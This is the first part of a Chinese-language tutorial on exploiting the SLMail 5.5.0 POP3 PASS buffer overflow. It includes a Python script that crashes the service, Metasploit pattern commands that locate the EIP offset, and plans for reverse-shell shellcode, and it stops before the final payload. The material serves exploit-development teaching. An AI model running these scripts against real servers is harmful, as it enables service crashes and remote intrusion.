slmail&windows缓冲区溢出案例(一)

缓冲区溢出案例与exp开发流程

  • bug是怎么找到的?
  • 你怎么知道x比特在y命令,可以使应用程序崩溃造成缓冲区溢出漏洞?

有三种方法:

  1. 如果有源代码,阅读源码是最简单的寻找bug的方式。
  2. 逆向工程
  3. fuzzing

fuzzing 是一种向应用程序发送构造的数据,然后期盼程序崩溃。 程序崩溃说明程序没有对输入做正确的过滤。

漏洞历史

下面讲一下在slmail 5.5.0 邮件服务软件上的知名缓冲区溢出漏洞。 在2005年发现,pop3 pass命令,在用户登陆的时候,有bof漏洞。攻击者无需知道 任何口令即可引发bof漏洞。 该软件未使用DEP或者ASLR编译,使得漏洞利用过程更加简单,我们不必绕过这些内部安全机制。

DEP和ASLR

这是微软的内存保护机制。 DEP是一系列硬件、软件技术,执行额外的内存检查,防止恶意代码在程序上运行。 DEP主要的好处是当发生异常时,防止代码从数据区执行。 ASLR打乱载入应用程序、动态链接库时候的基地址(base address)

与pop3协议通信

我们选择slmail作为案例的原因是,与纯文本pop3协议通信十分简单。 我们可以使用netcat与pop3服务器进行通信。

https://slmail.software.informer.com/5.5/ 安装exe到windows,重启后,windows开放了pop3-110端口

16

写一个python脚本

这个脚本的作用很简单,和nc起到的作用一样。为什么要写这个脚本呢?因为根据这个脚本稍作修改,就可以改为fuzzer脚本,使得应用程序崩溃。 15

https://github.com/Whale3070/ctf-coding/blob/master/send.py

https://github.com/Whale3070/ctf-coding/blob/master/fuzzer.py

immunity debugger

18

左上 –指令面板

右上 –寄存器面板

左下 –内存转储面板

右下 –堆栈面板


file – attach –SLmail 17

挂载后,点击下图的开始按钮,运行程序 20

运行fuzzer.py,使程序崩溃,造成了缓冲区溢出

19

定位缓冲区大小

定位缓冲区大小,当输入2500个a,程序运行正常;输入2600个a时候,就会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer= 'a' * 2700
try:
	print "\nSending evil buffer..."
	s.connect(('192.168.1.102',110)) # connect to IP, POP3 port
	data = s.recv(1024) # receive banner
	print data # print banner
	
	s.send('USER test' +'\r\n') # send username "test"
	data = s.recv(1024) # receive reply
	print data # print reply
	
	s.send('PASS' + buffer + '\r\n') # send password "test"
	data = s.recv(1024)
	print data # print reply
	
	s.close() # close socket
	print "\nDone!"
except:
	print "Could not connect to POP3!"

控制eip

控制eip寄存器是exp开发流程中关键的有,eip寄存器就像驾驭马的辔头一样,控制缰绳就让应用程序前进, 拉着缰绳就能让它改变前进方向。所以我们使用4个A在buffer(缓冲区)中覆盖了EIP,这里有两个常见的方法:

二叉树分析

将2700个A修改为,发送1350A和1350个B,如果EIP被B所覆盖,我们知道了4比特存在于buffer的第二部分。 接下来,修改1350个B为675个B和675个C,然后再一次发送buffer。 如果EIP被C覆盖,我们知道了4bit存在于2000-2700比特范围之间。 我们继续将buffer二分直到我们知道了准确的覆盖EIP的4bit。 从数学上来说,这将在7次之内找到。

发送一个特殊的字符串(使用msf)

最快的方式是发送一个特殊的字符,来确认覆盖EIP的范围,然后在buffer中查找这个字符。

patter_create.rb

是一个ruby工具,来创建和定位这样的buffer,并且可以在msf中找到它。 使用方法:

1
2
locate pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

21

复制生成的字符串,修改send.py,将字符串作为pass密码发送,而不是2700个A,注意下一次程序崩溃时,ESP和EIP寄存器中的值

22

执行send3py

23注意弹框的地址39694438

1
2
3
4
locate pattern_offset.rb
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438

[*] Exact match at offset 2606

于是得知了offset为2606

检查buffer,准备执行shellcode

msf可以自动生成shellcode,标准的反弹shell的payload(有效载荷)需要大约350-400比特的空间。

24 修改buffer,string= "A"* 2606+ "B"*4 + "C"*(3500-2606-4) 查看最后的crash,我们可以看到ESP寄存器直接指向了我们缓冲区的C地址,这看起来有足够的空间让我们放置shellcode。